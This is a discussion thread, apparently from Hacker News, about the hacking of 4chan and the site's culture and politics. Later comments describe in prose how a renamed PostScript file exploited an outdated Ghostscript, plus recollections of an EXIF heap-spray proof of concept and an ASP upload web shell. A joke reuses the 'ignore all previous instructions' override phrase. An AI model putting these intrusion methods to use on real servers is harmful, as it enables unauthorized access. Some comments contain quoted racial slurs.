4chan is oddly accepting of gay and trans people. I've seen gay and trans porn side by side with bbc and bwc porn posts. Strange to see racist trans porn lovers.
I like 4chan for the minor boards, not /pol/ or /b/. But /boardgames/ and /dyi/ and /international/. The absurd humor, green texts that make absolutely no sense, or ones that lead down a strange and wonderful path.
Neither site is a den of repute but it's notable that I can still say the word "cisgender" on 4chan, or openly insult moot and call him whatever I want without being banned for it (while mainstream sites select who is protected from harassment and who isn't, either along political lines or who owns the site).
> 4chan is oddly accepting of gay and trans people. I've seen gay and trans porn side by side with bbc and bwc porn posts. Strange to see racist trans porn lovers.
It only seems odd because many people interpret this through a U.S.A. “culture war” lens and “gay people”. You believe they're “accepting of gay people” in the sense of that culture war because of the “gay porn”. In reality, they take more of a classical Graeco-Roman approach to it and believe it's completely normal for the average male to be attracted to cute twinks as the Romans did and often even reject the very notion of “sexual orientations” to begin with. Their “support” is definitely not in the sense of what one would expect of the U.S.A. “culture war”, jokes such as the below illustrate well what the culture is:
I should have used a better example to support my point.
I was referring to the website it self allowing gay and trans content, and even other non mainstream content (furry, MLP). The content is not just porn related (though a big chunk of it is).
On the porn front, I don't agree with liking 'lady dick' twink lovers only. There's 'normal' gay content (male on male).
On the non porn content, lots of posts will begin with 'Im a gayfag' (fag here I used as a catch all self deprecating term, some users will say I'm a oldfag, even seen ladyfag). Never seen any outright harassment of gay people when they post.
Having said that, there is straight gay, trans, minority hating posts and content.
The hacker posted a screenshot of the shell on the 4chan server. It was running FreeBSD 10.1, which came out in 2014 and stopped getting patches in 2016. It seems like there was basically nobody doing maintenance after moot sold the site. I wonder how long it'll take for them to get the site back up if they don't have anyone who can do server administration.
Can you please elaborate how it is "asking for it" if we assume the basic auth password is reasonably complex and kept as safe as, say, the SSH login credentials of the same server?
You shouldn't be logging in to a server via SSH using a user+password combo, instead use a public/private key combo which is considerably more complex and can't effectively be bruteforced like a user+password.
Most web servers don't really come with any built in defense against brute force attempts vs Basic Auth gates, so unless you've set something up to protect it, someone with enough time will eventually get in.
Genuine question that I haven't found a good solution to yet, if I want to just go to any old computer and ssh into my server, do I have to carry around a USB stick with the ssh key on or something? because I sure as hell wont be able to just remember it
In that case I'd normally recommend a bastion host with SSH MFA and fail2ban. It'd be publicly available and have SSH keys for other machines. Or you could look at setting up a VPN solution with MFA, but never have a password only admin login exposed to the public Internet.
That's my point - if you have a reasonably secure password (let's say 50-100 characters, fully random), it's extremely unlikely that anyone is ever going to even get beyond the basic auth prompt.
Then you should also be worried about bugs that let you log into an SSH session without providing your SSH certificate, passkey or whatever. Authentication bypass can happen with pretty much any buggy authentication method. None of this is inherently a problem of passwords or basic auth.
Again, the premise was that phpMyAdmin is secured behind basic auth. It doesn't matter how secure or insecure phpMyAdmin is, it only matters how secure whatever webserver is that it is served through. phpMyAdmin code isn't even touched before the basic auth login was successful. Only after that, it becomes relevant, in that you either find a hole in phpMyAdmin itself, or you have to break another (hopefully strong) password for the MySQL login itself.
You can easily put phpMyAdmin behind basic auth as an additional security layer, completely bypassing any PHP execution and letting the web server completely handle the authentication. It's exactly what I have done multiple times in the past. Arguably phpMyAdmin's direct integration is a less secure way of doing it, but do we even know if it's the basic auth itself that was bypassed, or was it just the case of a weak password?
A password is just plain text, which apart from being bruteforced, can easily be phished. There are so many things wrong with using a password even if it's fairly complex. Instead, stick to passkeys and SSH keys
I was kinda surprised to see that phpMyAdmin is still maintained, albeit only barely. The last release was in January but before that it hadn't been touched for over two years.
Nearly every website developer servicing small business builds a WordPress site and sets it up on a hosting company's cPanel install with phpmyadmin running by default.
Which are far far outnumbered by people setting up squarespace sites, or shopify sites or facebook pages or twitter profiles these days.
It was definitely true at one point that small scale indie web devs and small business contractors outnumbered big tech in both headcount and servers. I don't think that's been true for a while now.
I serve a cPanel hosting, some people just want something up and running now which cPanel provides.
With Softaculous for automatic installation of scripts it's still widely popular for Wordpress installations. Web hosting is however a very dead market to startup in.
Sure, if you slap Basic Auth with "admin:admin" on phpMyAdmin in 2025, you're asking for it. But a Basic Auth password with 256 bits of entropy is just as resistant to brute force as AES-256 (assuming the implementation is sound and TLS is used). It's not the protocol that's insecure, it's usually how it's deployed.
As long as "a lot of attempts" take longer than the time it'll take the sun to expand and envelop the earth, that's not really a problem.
Every form of authentication is either subject to "a lot of attempts" or trivial DoS (for when you rate limit the login API so now admins can't log in either). The principles behind modern authentication are mostly "how do we make verification require even more attempts if the attacker doesn't know the password".
What is "a lot of attempts"? I'm no expert in cryptography, but there's many orders of magnitude difference between a distributed bruteforce of a known hash, and bruteforcing over the web.
Wow, the comments on this thread are much more divisive than I thought.
I've always felt that the 'there are only two internet cultures: 4chan and tumblr' has felt somewhat accurate. Unfortunately moreso now that /pol/ and /r9k/ have taken over broad swathes of the internet.
It's sad to see how far this old haunt has fallen. Lurking /v/ in my early/mid teens was a formative experience for me. It wasn't as hateful as it was, until Gamergate.
/r9k/ is such a weird situation, because its original incarnation prided itself on being an intellectual bastion on the site. The robot meant that you couldn't meme so easily; you had to attempt to write something substantial or meaningful (or at least original). Most were simply discussions, but you'd also get creative gems like futureguy's sobering predictions (well, history, for him).
> I've always felt that the 'there are only two internet cultures: 4chan and tumblr' has felt somewhat accurate.
"Somewhat accurate" is exactly right.
This formulation overstates the number of Internet cultures by one, in that the deepest and most shameful secret of both websites' most avid users is that they have always been both websites' most avid users.
Whoever's trying their hardest to shut down the rest of the free internet as well. I do think these actions we've seen in the last 5 years are co-ordinated. Will post sources soon
This is a pretty good take! It's because you could verbally attack and fight the 4chan idiots with a swarm of common sense and be lauded for doing that job.
Doing the same on X will just get you banned for whatever reason Elon feels is best 'for the community'.
The pompous tone of your comment exemplifies what actually makes most social media platforms awful, which is how people act on them. Inconsistent moderation is everywhere, and most people getting banned from X absolutely deserve it. If you posted something like this on 4chan, people would quickly tell you to get off your high horse (in more vulgar terms). The nice thing about an anonymous message board is that without a name or upvote count attached to your name, you don't get positive reinforcement for putting on a show of moral superiority, and struggle sessions via petty call-outs or pile-ons are not a thing beyond the lifetime of a thread. And on the other side of the same coin, people are not afraid of damaging their reputation by being uncouth, which helps not take anything too seriously, and enables direct feedback instead of passive-aggressive behavior.
HN really corroborates the inverse principle here - giving everyone names and karma doesn't seem to generate consistent, thoughtful contributions. It rewards apologia, groupthink and complacency, oftentimes the only interesting or unique viewpoint in a thread is flagged or karma-bombed to the bottom because it's a green username. The big HN "experiment" feels like it's stalled out, we've been getting the same results for years now. This website garners the reputation it has because everyone with power is out for themselves. There is no desire to accept change that threatens the collective interests of the tech industry, look at how HN reacts to regulations and war crimes and misinformation that technology inherently necessitates. It's thread after thread of hand-wringing, "it's not your fault" and then everyone is off to nerd-snipe each other over the semantic definition of a sorting algorithm.
Let HN, Reddit and X (or whatever it's called now) be a lesson to everyone - privately owned platforms are all just different brands of echo chamber. There is no obligation to change an echo chamber that makes you money or repeats what you want to hear.
I dont understand why twitter is so prevalent in the tech community; and it's not like you can just 'not use it' - you are at a true disadvantage if you aren't on twitter because of how much discourse around new tech, private equity, etc transpires on it.
I'm surprised a literal echo-chamber in which free speech is suppressed for disagreeing with the party line is responsible for so much productivity because of how many techbros are active on it. What happened to the time where being a techbro meant you were an open source libertarian like Stallman?
I think that’s just an artifact of twitter’s history. It was “normal” (increasingly algorithm slop driven) website until roughly 1-2 years ago when it was bought out and became maga slop.
Remember twitter came out in like 2007 when only tech people were on the internet.
The feedback mechanism on Twitter allows you to find useful discussions of current affairs in less popular topics. Can you find a good discussion of current events in agribusiness on Reddit? No. On Facebook? No. But if you open up Twitter and search for Arthur Daniels and you'll find something useful.
So, when the manager at a company wants to publicize, he has nowhere else to go.
> I'm surprised a literal echo-chamber in which free speech is suppressed for disagreeing with the party line is responsible for so much productivity because of how many techbros are active on it.
Reddit is worse. Facebook is worse. Bluesky is a community that couldn't stand Twitter changing it's party line, so it's worse. Mastodon is complex and suffers from the same problems as Bluesky.
Like it or not, Musk did choose his acquisition well.
Let me make it clear because I don't want to come across as biased - Reddit, Facebook and platforms like it are 1000% worse and or just as bad, no contest from me on that part; the dialogue just skews a different way depending on the platform.
To the first point though, I guess I just don't understand how such niche and useful discussion ended up on twitter and remains there out of all places. It seems strange to find someone pushing moon-landing-is-fake conspiracies on the same site nuanced discussion occurs on some hyperfocused topic
It's all about the technical features of the platform. Twitter's design is less likely to encourage conformity, so you can find far more insane content in it, but it's also less likely to encourage people to pointlessly discuss popular topics over and over.
Twitter allows for the existence of small ad-hoc communities numbering a dozen people at most, without a designated leader. Facebook groups, subreddits and mastodon instances require that a community has a designated dictatorial leader, be it an admin, a moderator or an instance owner.
The most powerful method of expressing approval - the re-tweet is likely to be used to promote interesting statements. Blind adherence to conformity isn't interesting. Crazy conspiracy theories are interesting, but so is specialized knowledge. All you have to do is ignore the former, (unless conspiracy theories amuse you).
Browsing different forums helps you recognize how discourse is shaped by different feedback loops, how people troll on 4chan or conform on reddit, rather then assuming that twitter is real life.
I received really heartfelt (to me) and sincere life advice on 4chan. I think the fact that it's anonymous without a real karma/voting system means there's a lot less ego-driven, self-centered posting. People don't try to attack as much or have bitter back-and-forths as much as twitter, reddit. They might argue for a bit and then just say f it and move on. But there's no motivation for ragebait, karma farming like there is on twitter.
It's not just that there's no voting system it's that there's no names. It's pointless to argue on a site like Reddit, but it's ridiculous to argue back and forth on a site like 4chan where you can't even know if you're arguing with the same person from post to post.
Likewise an outside observer can't assign any identity to a series of posts in an argument, so you really have to take every post at face value.
It truly is an end of an era. I popped in every so often to check the temperature and was rarely disappointed by the level of crazy pervading it. Amusingly, despite it having such a massive influence on internet as a whole including its lingo and memes, my wife did not even knew about it existed until today.
I do not think it will be missed by many, but that kind of hole does not exactly disappear without a trace.
China could say less restricted American internet is racist, because we tolerate content they do not. Like 4chan tolerates what Reddit does not. Would it be a fallacy to say people who chose to escape Chinese censorship online are racists? Maybe it’s a matter of degree or something?
It was bound to come tumbling down eventually. I've had good times in some of the discussion boards and especially with some of the more chill and creative boards like /qst/. the influence of /pol/ overshadows pretty much every board though, and it's rare to see a thread go by without some racist/sexist/transphobic/homophobic bile being spilled unfortunately.
Nah I disagree. It's the best one. All of the extra shit other boards have just feels like needless bloat. Honestly the JS extension they added like 10 years ago is a bit much.
The site has an API for reading posts [0]. It works (worked?) quite well. For making posts, you'd need to write your own functionality that forwards the CAPTCHA and post timers.
No, you'll need servers and enough network capacity to handle the load, an understanding and supportive hosting provider, a law degree or enough money to pay somebody with one to keep you out of court/jail/prison, a network of degenerates to provide traffic and content and/or a copy of the existing 4chan content, a stomach of steel to deal with the content moderation duties, and a moral compass so warped you think hosting degrading and illegal content is "just liberalism and freedom of speech" and not something that needs a second thought by any right-minded person.
But sure, if you have all that and the source code, you're all set. Godspeed!
That's how it used to be (and the vast majority of early content is indeed lost). Most boards were auto-archived starting in the mid/late 2010s, though, with many archives being searchable. Some even allow ghost posting.
I recall 4chan at one short point in time being a semi amusing meme posting spot on the web but as always as soon as it was popular it turned into a lot of "edgelord" spam and drama.
There was a time that if you weren't on 4chan, you missed everything good. I remember staying awake for 20 hours tracking one thread. If you left it was gone forever and you genuinely missed out. 2004-5 area.
That being said, I haven't been back since 2014? It was always pretty heavily influenced by b and pol, but it got really bad the two years before Trump 1. Alt right bullshit took over completely.
It astounds me that people think 4 Chan is a place for deviants, but Twitter is fine. Twitter is 10,000x worse.
For all of its many flaws and the boatload of trouble that has come of it, I still ultimately believe that 4chan is unfairly maligned.
I can't deny that the majority of the website's culture has been tainted by idpol bickering ever since /pol/ was added to it, but I'm always going to appreciate 4chan for being a place where I can write ostensibly anonymous posts and talk with other likeminded people about anything and everything.
When you have a funny, good faith conversation with someone else on a website that gives you no incentive whatsoever to have one, it feels good.
Soyjak.st is unfortunately nothing like that. It is a website about itself, and itself is a parody of post-2014 rightwing 4chan meme slop culture. It is earnestly what most people believe the entirety of 4chan to be.
It was always possible to ID 4chan posters via court orders, wasn't it? I mean, Sheriff Mike Chitwood had 3 (or was it 4) people who posted death threats against him there arrested
Of course. I remember reading transcripts of Cristopher Poole cooperating in court during a trial. He used to straight up tell users he would fully cooperate with authorities if required. Nobody there is in the business of going to jail.
You're anonymous to other users. Unless you're behind seven proxies, connecting your posts to your real identity is as simple as correlating 4chan logs with ISP logs. Usually that requires court orders so it tends to happen in response to real offenses. Insulting each other with slurs isn't enough for a court order so it's fine. Chances are the NSA knows all your posts regardless.
besides the fact 4chan is a cesspool I think there's a certain sadness that comes with the possible death of another "early-internet" forum.
I feel like 4chan was the last living source of what the young internet was like - raw, unfiltered, and honest. You've got to admit in today's day and age that's genuinely something rare especially in current time of grift culture.
so much history potentially gone, just like BB.com's forums...
I have been to 4chan maybe 4 times in my life. The first was like ok.. Then I visited /b and LOL'd for a couple of hours. Then it just got redundant and depressing. It really is the arsehole of the internet, but some people seem to find it useful.
This makes me wonder whether there's anything in there that can point to the identity of the original QAnon. That would be a pretty interesting outcome.
4chan doesn't store threads for very long, hence the plethora of third-party archive sites. I doubt they are still storing any useful data from back then.
That's why I wrote 'the original'. It's very possible Watkins took control after Q moved from 4Chan to 8Chan from what I've read. I'm far from fully up-to-date on this saga though.
Because people think /pol/ is 4chan, and it's easier to think that and what others say about something than to invest time into looking into something they were uninterested in looking into to begin with
I hope this isn't too contentious but I'll try to cover most things. I've posted this a few times, but I checked out 4Chan about twice in the early days and saw CSAM both times and it gave me personally a visceral hatred of the site. I've heard it got better/that's not representative but it's a hard thing to shake. The origin of the site is also supposedly Moot getting kicked off SomethingAwful for posting 'lolicon' (child anime porn). They've also gone after and doxxed pedophiles though, so the sites relationship with that sort of content is... complicated. I think most of the worst ended up moving to 4Chan clones quite awhile ago because it really splintered again at some point and became known as the cleaner Chan board.
It's also known for its extremely abrasive mildy sociopathic culture and 4Chan posters have a very samey 'posting voice' where if you don't like it you can hate it. It permeates a lot of the internet, but 4chan is kind of seen as the epicenter. I think it also gets blamed for a lot of negative internet culture like doxxing and choosing targets to harass, although I'm not sure how much of that was actually 4Chan. I think most of those people moved on to Kiwifarms. 4Chan probably gets some hate for things that other Chan sites have like Qanon in a sort of 'you started this' way.
And finally the politics are complicated. It actually used to be slightly left leaning or at least libertarian or anarchist, but over the years pol in particular has been known to be hard right wing. It definitely seems like they had a shift in political tone for the (IMO) worst at some point.
Personally I won't hide that I'm a hater and an unapologetic curmudgeonly old man, but that's my perception. On the other hand if you think the CP stuff is overblown, don't care about the negatives because there are apparently good boards there that are insulated, or are just hard right yourself then it is one of the last major discussion boards on the net. Some of that's probably out of date (like I said I gave up on it pretty quickly) but I'd wager most people with negative opinions are thinking of one or more of those. I'd be interested if any haters have other reasons.
> It actually used to be slightly left leaning or at least libertarian or anarchist, but over the years pol in particular has been known to be hard right wing.
If your bar doesn't kick out nazis, your bar becomes the nazi hangout.
4chan will be studied for years for its role in alt-right radicalization as well as being a baroemeter for young male discontent.
For example, QAnon started on 4chan (I believe as a joke?) [1]. Nowadays a lot of 4chan users and traffic have since migrated to Twitter for pretty obvious reasons. Pseudo-intellectual racism has a lot of roots in 4chan (eg the popularity of Julius Evola [2]) that's deeply tied to "trad" content, Andrew Tate fandom, the manosphere and "self-improvement" [3].
Things like the Bored Ape Yacht Club originated on 4chan and it's full of racist memes [4]. A lot of racist and antisemitic memes originated on 4chan.
Worst of all, it seems like Elon Musk is motivated by a deep desire to be liked by 4chan [5].
So the point is that 4chan users (and admins) have a lot of real-world influence and that's kinda scary. It also makes them a target for this kind of hack. I suspect a lot of people will be exposed by this and in more than a few cases, you'll find ties to the current administration.
For users who aren't familiar with 4chan - this post describes only one board - /pol/, where you can find hateful posts about every race and religion. 4chan have 30+ boards in total
To add context, every male in my high school went on that site. Pol was just a place crazy people posted. We used to laugh and read eachother dumb copypastas at lunch with gorgonzola cheese rhymes and bad puns.
The average 15yo boy have enough mental hygiene to know everything you read online is false. The website is not a nazi factory.
Do you remember when people thought first person shooters made people into murderers because the colombine guy played doom a lot and made a custom wad to simulate the attack?
If a murderer eats omelettes every day we should ban eggs. Eggs turn people into murderers.
Reminder some kids died jumping off buildings with umbrellas after Marry Poppins. Ban movies.
There's a difference between monkey-see-monkey-do and intentional group self-radicalisation. You don't become a racist neo-Nazi teenage mass murderer de novo.
How many mass shooters had obvious 4chan radicalization roots? Christchurch definitely.
> everything you read online is false
In its own way, this is also poisonous. It enables holocaust denialists and anti-vaxxers: after all, vaccines and holocaust memorials are on the mainstream internet, so they must be false, right?
Have you gone on social media recently? It is like 90% nonfactual weirdness. Even here on hackers news its tons of mutually exclusive unfalsifiable assertions of perspective, not fact.
I dont know about your family, but mine is pretty religious. Listening to their conversation during thanksgiving gives me about a 90% nonfact rate.
I think humans are just are not beings of fact in general.
> The average 15yo boy have enough mental hygiene to know everything you read online is false. The website is not a nazi factory.
The real problem is when the internet leaks and boomers assume everything they read online is true.
Worst part of it all? My parents always told me not to trust what's on the internet, and now I have to tell them 99% of what they see on FB or whatever is AI trash and lies.
Adding even more context /pol/ is about who can be the most edgy edgelord of the hour. I doubt there are more than half a dozen actual racists people on it not counting 4Chan-GPT.
It's not hard to find people with a racist /pol/er's opinions in real life, or on other social media like Instagram or Twitter. Maybe /pol/ in particular is/was filled with bots, I don't know, but such extreme racism is not as uncommon as you imply these days.
They put on a good show. Real racist people post videos of the f&#$ed up things they do to others that I won't even describe here. They know better than to use a clear-web site especially one using a CDN to show off their behavior. Those forums are on Tor.
4chan is nearly all angsty edgy teens on their cell phones at school trying to act tough and edgy and even they get arrested when talking tough about cops or pulling shenanigans like defacing or vandalizing property to be cool. That's a different interesting topic. Search youtube for all the 4chan unstable kids getting arrested. It's on-par with all the unstables vandalizing Tesla cars.
Well, I believe you that there are lots of kids there that try to seem racist for 4chan cred, and I guess people would know not to post videos of themselves doing those illegal things.
But I remember they had stuff like "n*gger chimpout" compilation threads, and whenever people talk about what they blame on Jews, they seem to be actually bitter and angry, so they do seem legitimately racist. I wouldn't be surprised if there was a lot of overlap with the people who do commit those acts of violence you're talking about, but even if not, I don't think you could say they're not real racists just because they don't post videos of themselves committing violent hate crimes. The board is just diluted by low-effort threads and bait by users of other boards.
But I remember they had stuff like "ngger chimpout" compilation threads*
I guess that's why we don't really see quite eye-to-eye on this. I've seen all those threads and to me that's just kids being edgy because they know it triggers or activates people. Every group has it's trash and they are just singling out one specific groups shenanigans. The same behavior can be found of every breed of human and they would post it if it was edgy to do so. My breed has no shortage of dumb behavior but when it's posted people feel comfortable laughing at it thus it's not edgy or taboo enough.
As a side note, most of the kids on 4chan are also here on HN. They talk about this site, its users and dang all the time. I'm sure they are not happy that I am pointing out they are just LARPing.
Compilation threads like those seem to me more like ways to make each other angrier and more racist. I think they legitimately just hate black people. Like, there's definitely some element of smug self-aware memey edginess about being racist, but there's also unironic vitriolic racism. But yeah, I guess we just disagree here on this.
It doesn't even describe /pol/. This is what 4chan thinks of /pol/ but when you actually go there there is a pluriformmity of opinions and it's indeed mostly just about current events.
The biggest good thing that came out of 4chan and 8chan to me is that it made me extremely weary to ever trust second-hand reports about some place and made me better at identifying reports that read like “This person dislikes this place, never visited it, and just reasons together what it's like.”. It also made me try Tumblr. I heard terrible things about it how it was filled with “social justice warriors” and stuff and unsurprisingly, when actually trying it it was nothing like that and just a fairly chill place where people mostly blog about fiction and pornography and share their thoughts. Even when ignoring the filter and logging out and going to what is trending, almost no content is political.
I remember when 8chan went down and all the news reports and forum posts basically said it was basically Stormfront but I was there at the time and it was nothing like that. People just posted cat memes, talked about fiction, talked about life and dating and stuff. One had to dig on very specific boards to find that kind of content.
People talk a lot about “places”, online or offline or even fiction that they clearly have no firsthand experience with, and just reason together about what it's like. They just “expect it to be like that” based on some image they create in their head, or some cherry picked examples they've seen and start to treat it like fact. It's especially weird when it's about something they clearly don't like, some kind of book or television series of which, despite clearly disliking it, they can supposedly tell you exactly what it's like... well, they've never seen it, they just reasoned it together in their head based on some things they read about it and their own expectations.
I frequent 4chan a lot; it's nothing like this description indeed. I don't frequent /pol/ because I found the discussions to be completely empty but I tried it and it was nothing like that. Even within 4chan I read all sorts of things about other boards that are just not true when actually visiting them. /pol/ isn't a far right echo chamber, /r9k/ isn't full of lonely incels, /lgbt/ isn't some social justice warrior hub despite what one might read about those places on other boards.
This is /pol/ focused, yes, but the other boards aren't separate worlds. It's all part of what many call the "alt-right pipeline" and it's subtle and insidious.
For example, many (particularly women) have consumed Candace Owens's content about the Blake Lively / Justin Baldoni saga, just like many followed certain creators with the Amber Heard trial. Both of thse fall squarely on the alt-right pipeline.
So you may start folloing 9gag. Particularly if you're young, you may enjoy being "edgy" but a bunch of that is actually normalizing right-wing views. Even seeking validation on /b/ fits this.
How "subtle and insidious" is it really?
I'd say it is shifting the blame of personal responsability to a website. Me and some of my friends use(d) 4chan and we never fell into the pipeline. To the contrary there is a strong left-wing camarederie. And I'd wager that we recognize subtle right-wing views more easily. One doesn't learn about these views by looking at a twitter screenshot but by engaging them.
We should stop treating right-wing ideology as a mind-parasite. And if we do it anyways, we should accept that some people want to get "infected".
Many people will downplay this, saying that the alt-righters on 4chan were only trolls, or were only a few people sockpuppeting to make it look like there were many, or that these people were already alt-right and that 4chan didn't actually influence anyone into it (and that 4chan's userbase merely cycled out to a set of new alt-right users), but I have to say that's all wrong. I was in several different online communities 2010-2018 of people who met through 4chan, and a startling number of people did actually adopt alt-right politics over this timeframe after I had first met them. I think people who downplay how common radicalization on 4chan was didn't have as clear of a picture as this experience gave me.
If you're looking for malign influence on 4chan - look outside the US. Anyone on /pol/ and /k/ after Oct 7th understands clearly who has been influencing if not controlling the site.
Let me give you an example. /k/ is the weapons/military forum, and it's unironically run by US government authorities. Vulgar racial slurs are wholly permitted -- but if you question certain aspects of US military or foreign policy, or suggest that Russia/China/etc. aren't houses of cards that will topple the moment the US wills it, your comment will probably be deleted and you'll be hit with a 3-day ban.
Free. In practice whatever a given janny doesn't like gets the boot. The moderation can get REALLY schizophrenic depending on time zone, and there are persistent rumors that certain boards are controlled by groups of interest (notably the cesspool known as /pol/ is very astroturfed).
You're clearly confused. This conversation is about 4chan jannies, not reddit moderators. They don't ban you for posting racial slurs or fascist rhetoric, or any other traditionally offensive material.
Make a thread about Chinese naval buildup or related strategic developments in the Pacific on /k/; banned for "off topic". Get into an argument with a user who turns out to be a janny; banned for "trolling". Respond to a funny /tv/ thread memeing on some TV show, banned for "responding to off topic threads". Post a dozen pictures of rockets in the spaceflight general being raided by some /pol/tard who thinks space is fake, get banned for "spamming".
The jannies are arbitrary and capricious. Three day bans can't be appealed so they hand them out like candy.
If you post "What are your favorite snacks at the movie theater?" you can get a 3 day ban from /ck/ which is too short to appeal.
I posted a thread on the Television and Movie board asking what people thought of Matt Walsh's movie What is a Woman and got a 3 day ban which was too short to appeal for posting off topic
Are you genuinely curious, or do you already know this kind of complaint refers to offensive, racist, hateful speech (otherwise known as the type of speech that requires protection, since civil speech that agrees with the popular worldviews does not need protecting)?
Particularly, when these are good people who put a lot of effort into keeping 4chan a pleasant community, by e.g. removing hate speech and CSAM, as well as banning offenders.
My comment wasn't completely serious and should be taken with a grain of salt. But for example there is / was a German janitor or moderator that that treated the German general on /int/ as his personal safe space
We've heard it time and time again that 4chan is the so called "last bastion of free speech on the internet" when this so called free speech is just being unapologetically racist and antisemitic. I hope its gone for good.
4chan being gone for good would've been a bad thing regardless of your views. All those people who used to come there and just talk wouldn't just cease to exist nor stop feeling the way they feel. At the very least, it's the devil you know.
Anyone who's actually familiar with 4chan knows that posts containing any of that are cracked on hard, both by other users (replies calling it out) and janitors (delete+ban).
Yes, and everywhere else people have to worry about being deported for pointing out Israel's war crimes. At least no one needed to worry about that on 4Chan, but seeing an anonymous racist meme is even worse for people like you.
That is a completely separate problem, and it's dishonest making the comparison. Extremist right wing ideology and genocide is actively advocated on /pol/ as well as anti-Jewish rhetoric. Neo-nazism is not pointing out Israel's war crimes, and pointing out Israel's war crimes is not neo-nazism or anti-Jewish. /pol/ isn't antisemitic for Israel's genocide; they just hate Jewish people.
The Trump administration trying to deport people for doing so is also unjustified. People are freely criticizing Israel on other popular social media (notably TikTok and Instagram) without inciting a modern neo-nazi and right wing movement like what has happened on 4chan in the past 10 years.
you think these are akin to endangered species? these are humans collectivizing and cloaking under maladaptive pretenses. you're advocating for empowering polio because it is life and deserves a chance.
I did some digging and the hacker posted which exploit he used.
Apparently some boards allowed uploading PDF files, but the site never checked if the PDF file was an actual PDF file. Once a PDF file was uploaded it was passed to a version of Ghostscript from 2012 which would generate a thumbnail. So the attacker found an exploit where uploading a PDF with the right PostScript commands could give the attacker shell access.
That checks out. Years ago I noticed a vulnerability through the photography board. You'd upload your pictures, and 4chan would display all the EXIF info next to the post.
4chan's PHP code would offload that task to a well-know, but old and not very actively maintained EXIF library. Of course the thing with EXIF is that each camera vendor has their own proprietary extensions that need to be supported to make users happy. And as you'd expect from a library that parses a bunch of horrible undocumented formats in C, it's a huge insecure mess.
Several heap overflows and arbitrary writes all over the place. Heap spray primitives. Lots of user controlled input since you provide your own JPEG. Everything you could want.
So I wrote a little PoC out of curiosity. Crafted a little 20kB JPG that would try to allocate several GBs worth of heap spray. I submit my post, and the server dutifully times out.
And that's where I'd like to say I finished my PoC and reported the vulnerability, but in fact I got stuck on a reliable ASLR bypass and lost interest (I did send an email about the library, but I don't think it was actively maintained and there was no followup)
My impression from this little adventure is that 4chan never really had the maintenance and code quality it needed. Everything still seemed to be the same very old PHP code that leaked years ago (which included this same call to the vulnerable EXIF library). Just with a bunch of extra features hastily grafted and grown organically, but never dealing with the insane amount of technical debt.
As far as I can tell, no real maintenance has happened since Poole sold the site a decade ago. Hiroyuki paid for it and then mostly forgot about it.
The current FreeBSD version the hacker displayed was from around the time of the sale so that tracks.
> Just with a bunch of extra features hastily grafted and grown organically, but never dealing with the insane amount of technical debt.
This describes probably 95%+ of the entire software world, from enterprise, to SaaS to IoT to mobile to desktop to embedded... Everything seems to be hastily thrown together features that barely work and piles of debt that will never get fixed. It's a wonder anything actually even works. If cars (the non-software parts) were made like this, there would be millions of them breaking down by the side of the road daily.
>If cars (the non-software parts) were made like this, there would be millions of them breaking down by the side of the road daily.
I’m an automotive CE… we’re getting there.
Cars used to be DONE at lots… now, there are weeks to finish code before the customer lays hands on, and that time is factored in now.
Worse with OTA updates. Now, so long as it’s fixed if enough customers complain that’s good enough.
Cars used to be great. Then some morons connected them to the internet for no good reasons.
OTA firmware updates are so insane. Does your insurance company understand what’s going on?
> Then some morons connected them to the internet for no good reasons.
Elon Musk and Franz von Holzhausen, to be precise.
I think about this daily.
Forget cars, imagine if we treated government systems that millions of people's entire medical care/retirement/lives/national security/secrets/proof of existence depend upon this way? Luckily we treat those systems a little more seriously even though it costs us a little bit more/doesn't allow us to move fast and break things in that space.
as someone who had to upgrade a stack from php 5.3 to 7.1 back in 2019... do you know what version of php they were running?
This is such a common hole. One of my early hacks was a forum that allowed you to upload a pfp but didn't check it was actually an image. Just upload an ASP file which is coded to provide an explorer-like interface. Found the administrator password in a text file. It was "internet" just like that. RDP was open. This was a hosting provider for 4000+ companies. Sent them an email. No thank you for that one.
Always check what is getting uploaded.
Uploading ASP as an image and having it execute server side is one thing.
But in this case, it's subtly different.
This issue relies more on a quirk of how PDF and PostScript relate (PDF is built on a subset of postscript).
Imagine you had an image format which was just C which when compiled and ran produced the width, height, and then stream of RGB values to form an image. And you formalised this such that it had to have a specific structure so that if someone wanted to, they didn't have to write a C compiler, they could just pull out the key bits from this file which looks like ordinary C and produce the same result.
Now imagine that your website supports uploading such image files, and you need to render them to produce a thumbnail, but instead of using a minimal implementation of the standard which doesn't need to compile the code, you go ahead and just run gcc on it and run the output.
That's kind of more or less what happened here.
It's worth noting here that it's not really common knowledge that PDF is basically just a subset of postscript. So it's actually a bit less surprising that these guys fell for this, as it's as if C had become some weird language nobody talks about, and GCC became known as "that tool to wrangle that image format" rather than a general purpose C compiler.
The attackers in this case relied on some ghostscript exploits, that's true, but if you never ran the resulting C-image-format binaries, you could still get pwned through GCC exploits.
> it's not really common knowledge that PDF is basically just a subset of postscript.
Because that's not actually true? Check out the table in the PDF specification, Appendix A, p985, listing all the PDF operators and their totally different PostScript equivalents, when there are any: https://opensource.adobe.com/dc-acrobat-sdk-docs/pdfstandard...
The PDF imaging model is mostly borrowed from PostScript, though PDF's imaging model also supports partial transparency. The actual files themselves are totally different.
In this case, no PDF files were involved at all, but a PostScript file renamed to .pdf, which was used to exploit an old insecure GhostScript's PostScript execution engine (PostScript is a programming language, unlike PDF) or maybe parser:
> According to S0I1337, it was done by exploiting a vulnerability on 4chan's outdated GhostScript version from 2012 by uploading a malformed PostScript file renamed to PDF to gain arbitrary code execution as 4chan didn't check if files with PDF extensions were actually PDF files -- https://wiki.soyjak.st/Great_Cuckset, see also the image in A_D_E_P_T's comment https://news.ycombinator.com/item?id=43699395
Key word: "basically"
Read section 2.4 of the PDF you linked for a bit of additional information on this "bsaically".
GhostScript is a postscript interpreter which can handle PDF files by applying the relatively simple transformations described in that section of the PDF. Whether they embedded the ghostscript exploit within the PDF, or didn't, it's not particularly important for making my point.
That seems like saying "Python is basically a subset of C; just run the simple transformations Cython implements". PDF can be transformed into something a PostScript interpreter can understand in the same way Python can be transformed into something GCC can understand. That is not what "subset" means.
> Ghostscript from 2012
Has there been a single year since 2012 that didn't include a new ghostscript RCE? Exposing ghostscript to the internet is dangerous.
Bobby Tables can’t keep getting away with this
Bobby Ignore All Previous Instructions however…
thank you for this laugh
pretty interesting discovery if that was the hack.
do you know what the legal implications are for this?
if the company that owns 4chan finds the identity of the attacker, could they sue him in civil court? or do they send whatever logs they have to the FBI and the FBI would initiate a criminal prosecution? also what is the criminal act here? is it accessing their systems, or is it posting the data that they found "through unauthorised means" on a public channel like twitter? does the "computer fraud and abuse act" apply?
